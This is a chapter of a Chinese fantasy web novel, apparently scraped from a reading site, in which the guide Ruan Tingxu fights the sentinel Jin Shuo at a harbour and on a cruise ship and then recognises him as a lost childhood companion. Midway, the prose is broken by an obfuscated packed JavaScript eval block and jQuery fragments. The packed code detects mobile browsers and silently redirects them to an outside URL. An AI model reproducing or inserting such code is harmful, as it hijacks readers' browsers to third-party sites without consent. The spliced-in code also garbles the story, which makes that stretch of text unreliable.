靳朔的入局让本就混乱的战场更加混乱。


    场内雷光撕裂空气,携着绿芒的鞭子如蛇般游走,夹杂着寒气的冰锥与拔地而起疯狂抽枝蔓延的狂暴异植交织乱舞,间或有尖锐的精神异能扫过场中,试图对阮听絮操纵的异植造成影响。


    阮听絮与靳朔堪称默契十足,心有灵犀。


    前一秒两人还在联手绞杀海中那头丑八怪章鱼,下一秒,凌厉的杀招便毫不留情往对方身上招呼。


    劲风呼啸,阮听絮侧身险险避开靳朔一记横扫,冷着脸反手一鞭抽了过去。


    空气中随之爆出一声锐鸣,靳朔却不闪不避,抬手生生攥住了鞭身。


    阮听絮根本不给他借机拉扯的机会,果断松手后撤,指尖同时在空中一点。


    破空声乍起,数条粗壮的藤蔓自四面八方绞向靳朔,四周的异植同时齐齐调转矛头。


    锋利的叶刃,灼热的火球果实,伴随着大蓬炸开的致幻粉末,男人所处的区域瞬间被重重杀招笼罩其中。


    然而这恐怖的杀招却没有在男人眼底掀起半分波澜,他默然地注视着扑面而来攻击,耀眼的雷系源质轰然爆发,在他周身织就成一片弧形的电网。


    所有逼近的攻击在触及电弧的瞬间,尽数化作焦炭。


    对于章鱼和顾青而言,基地的命令高于一切。


    想到组织的惩罚手段,两人发麻,都想趁着两人打得正凶时,伺机脱身。


    可偏偏那两人也不知怎么会是,明明打得天昏地暗,招招致命,可却总是默契的将他们逃跑的退路和小心思一一封死,逼得他们寸步难行。


    顾青有防护禁器在身,又有灵魂系异能傍身,两人似乎还想留他的活口问话,他只需要应付逸散过来的战斗余波,以及时不时阻拦他离开的攻击,勉强不算特别狼狈。


    海中的章鱼则是凄惨的多,身为五级异能者的它本就是两人重点关注对象,岸上男人狂暴的雷系源质顺着海水蔓延,一波接一波,电得他触手都有些糊了,偏偏阮听絮之前布置在海中的异植还在不停地裂变繁衍扯着他阻止他上岸。


    受限于改造的影响,他也无法重新变回人形,脱身上岸。


    眼见无法逃离,继续拖下去恐怕早晚会落到那两个打得正酣的人手上。


    章鱼猛地一拍海面,掀起巨大的波浪,一阵浓郁的雾气伴随着凌冽的冰龙卷开始在场中肆虐。


    它惨白的眼珠子盯住顾青。


    几乎是一瞬间,一人一章鱼达成了某种无声的默契。


    顾青拔出军刀,没有丝毫犹豫,噗嗤一声捅进了自己的心脏。


    “原来藏在这里,你弄脏他了。”清冷的嗓音在他耳畔响起,青年两只修长的指节的扣住了他的刀身,另他无法继续将剩余的刀身插入心脏。


    顾青僵硬地抬起头,对上青年那双淡漠的雾青色眼睛时,脊背瞬间窜起一阵恶寒,表情活像是见了鬼。


    鲜血顺着刀槽疯狂涌出,染红了青年的银丝手套,阮听絮面不改色地将自己的手顺着刀刃切开的创口探入顾青的胸腔内,挖出了那颗还在微弱跳动的心脏。


    噗叽。


    他的心脏被捏碎,青年小心翼翼地取出裹在心脏内的东西。


    那是半截被布条类的封锁型禁器层层裹住的半截黑色的怪物手掌。


    怎么……怎么可能……


    顾青目眦欲裂地看着眼前的这一切,海面上,那只巨大的章鱼正发出凄厉的嘶鸣,试图拦住朝这边而来的靳朔。


    眼见男人要冲破防线,章鱼的血肉轰然炸开,将整片海域染成粘稠的猩红。


    什么时候……


    他究竟是什么时候操纵的章鱼……


    他一直以为,青年释放的那些异植,只是对章鱼的理智造成了影响……那些植物究竟是什么时候催眠的章鱼。


    被骗了……


    青年方才一只没有下狠手,根本不是能力不济,而是在等,等他自乱阵脚,主动暴露东西的藏匿地点。


    向导太过在意那点残肢,为此,甚至不惜陪着他们演了一出势均力敌的戏码,给了他们付出代价就能在他手下将东西送出去的错觉。


    难怪,自己果然,只是个拙劣的模仿者,是个劣质的赝品。


    在顾青断气的最后一刻,他灰败的脸上竟然浮现出些许病态的亮色。


    这才是他该有的样子。


    那个人那样思念的孩子,怎么可能真的是个废物。


    注意到顾青狂热满足的眼神,阮听絮蹙起眉头,觉得有些晦气恶心。


    他拿出随身携带的火焰果实,烧毁了他千辛万苦从基地手中夺取的半截手掌。


    随着火焰的燃烧,原本布满伤痕的黑色手掌瞬间成为一捧深灰色的灰烬。


    青年将灰烬小心笼进红绳手链两个像是装饰品的两节指骨中。


    殷红的鲜血顺着银丝手套,慢慢滑落到青年指尖,最终砸在地面。


    远处,章鱼自爆的满天血雨眼看就要兜头落下,靳朔眼皮都没抬,刺目的电弧瞬间形成一道护盾,将所有血肉尽数隔离在外。


    随着章鱼的死亡,漆黑的浓雾散去,阮听絮才看到靳朔今天穿的是监察局的制式服装。


    与普通监察官的黑底银边不同,他那件风衣的袖口和衣摆处,都用极细的金线绣了繁复的暗纹,随着他的动作时隐时现。


    哨兵手中拿着一把暗金色的唐横刀,腰间还别着两把唐横刀。


    方才他们动手的时候哨兵还没动用刀具。


    看出来是想活捉他。


    “束手就擒,我可以……”


    男人低沉的嗓音就此停住,不再言语。


    不远处,青年面无表情擦了擦手套上残留的鲜血,拔出了腰间的匕首,方才被他缴获的鞭子,此刻如同活物般重新回到了青年的身边,盘绕在他腕上。


    向导的态度已经极为明确了。


    靳朔没再废话,刀光一闪,当头劈下。


    阮听絮只觉得眼前一花,抬起匕首格挡,借着巧劲手腕一翻,堪堪抵住了刀刃。


    他的体质与靳朔差得很多,这次挡刀却比想象中轻松一些。


    青年冷着脸看了一眼靳朔,“怎么靳队长看不起我,还是怕把我给打死了。”


    他这才看清,靳朔的刀不知是什么材质,整个刀身都是那种灰紫色,和他眼睛的颜色极为相近。


    “活捉,比较划算。”靳朔语气同样冰冷。


    话音刚落,男人出刀的速度骤然翻了一倍。


    青年身形灵巧地躲开,时不时用手中的鞭子和周围的异植干扰靳朔。


    两人从港口一路追逐战。


    来到了一艘无人的游轮上。


    “靳队长,收着点力气,要赔钱的。”


    他还记得前几天靳朔在学校打架时收着力道的事情。


    很显然他也知道监察局里的事情。


    不过这话一出口,男人攻击的力道不仅没有减轻,雷系的源质更是不要命地布满了整个空间。


    阮听絮啧了一声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478888|201634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    海中的浮藻随着两人激烈的打斗摇曳着。


    青年用了几次之前借用的折射异能。


    也不知道靳朔这家伙怎么训练的,根本不受他的影响,毫不犹疑地解决了那些异植,无视他生成的幻象,一招一式都直攻他而来。


    阮听絮喘了口气,连续两场战斗他实在有些撑不住了。


    直接停顿一下的功夫,靳朔已然暴起闪到他的面前。


    男人将他压制在了角落。


    掌心一抖。


    异能限制器就被拷到了他手上。


    青年叹了口气。


    “我本来以为恢复异能了可以把你打一顿呢,没想到只打到几下。”


    两人方才交手的时候互有输赢,他仗着异植的遮掩和牵制,也让靳朔身上和脸上挂了些彩。


    被戴上了手铐,青年却像是并不慌张的样子。


    “靳队长,我记得你的腺体问题并不比我轻吧,你们监察局的人手也不够,所以只有你一个人来了对不对,你现在没有感觉你的信息素和源质不太对劲吗?”


    靳朔没有理会他说的话,沉声道,“走。”


    但没走两步,原本就一直在他鼻尖萦绕的兰香越发浓郁,他眼前的景象模糊起来。


    啪嗒。


    青年手腕上的手铐不知怎么地落在了地上。


    青年晃了晃手里的钥匙。


    “我早就防着你来了,那只丑章鱼还不值得我兴师动众分出两成的源质让海里这些东西长起来,这是我专门为你培育的药剂。”


    “睡上一觉,一切就都结束了。”青年指尖微动,深绿色的蘑菇从他掌心跳了出来,在木板上扎根,飞快开始膨胀。


    “空间系的能力。”


    “拜拜,靳大监察官,再见,不对,还是别再见了,你这家伙太难对付了。”


    靳朔靠坐在船杆上。


    深灰色的瞳孔,忽然缩成一条竖线。


    他手腕一震,腕上的手环从放松的状态彻底碎裂。


    与此同时,绿色的小蘑菇瑟瑟发抖起来。


    周边的空间震荡,小蘑菇萎靡下来。


    “空间系异能。”


    “很可惜,你走不掉了。”哪怕受到体内那些横冲直撞的信息素和源质影响,靳朔只能半跪在地上。


    但他脸上却露出了一个少有的冷笑。


    青年看着那双竖瞳。


    雷系,空间系异能,还有这双竖瞳。


    他此前几次觉得靳朔熟悉,又觉得这人相处起来不错,但他从来没想过。


    但他没想过。


    或者下意识不愿意相信,这个人就是他的阿烁。


    青年耳边响起他们两人曾经的声音。


    【我们会永远在一起,我会永远陪你的。】


    【如果有一天我违背了誓言,那你就杀了我。】


    那时候的阿烁像个小怪物,只有那双灰色的眼睛格外的坚毅明亮,看着他的时候亮晶晶的。


    青年耳边响起那时候自己的回答。


    “如果你抛弃我,我当然会杀了你。”


    显而易见,面前的这个人,完全把他忘记了。


    他不知道他失忆的原因是什么。


    青年握紧袖中的匕首。


    缓步走到靳朔面前,冰凉的匕首贴近男人的脖颈。


    “是什么给了你,我不会杀你的错觉。”


    那双雾青色的眼睛居高临下看着他,青年穿着战术靴的脚踩着男人的胸口。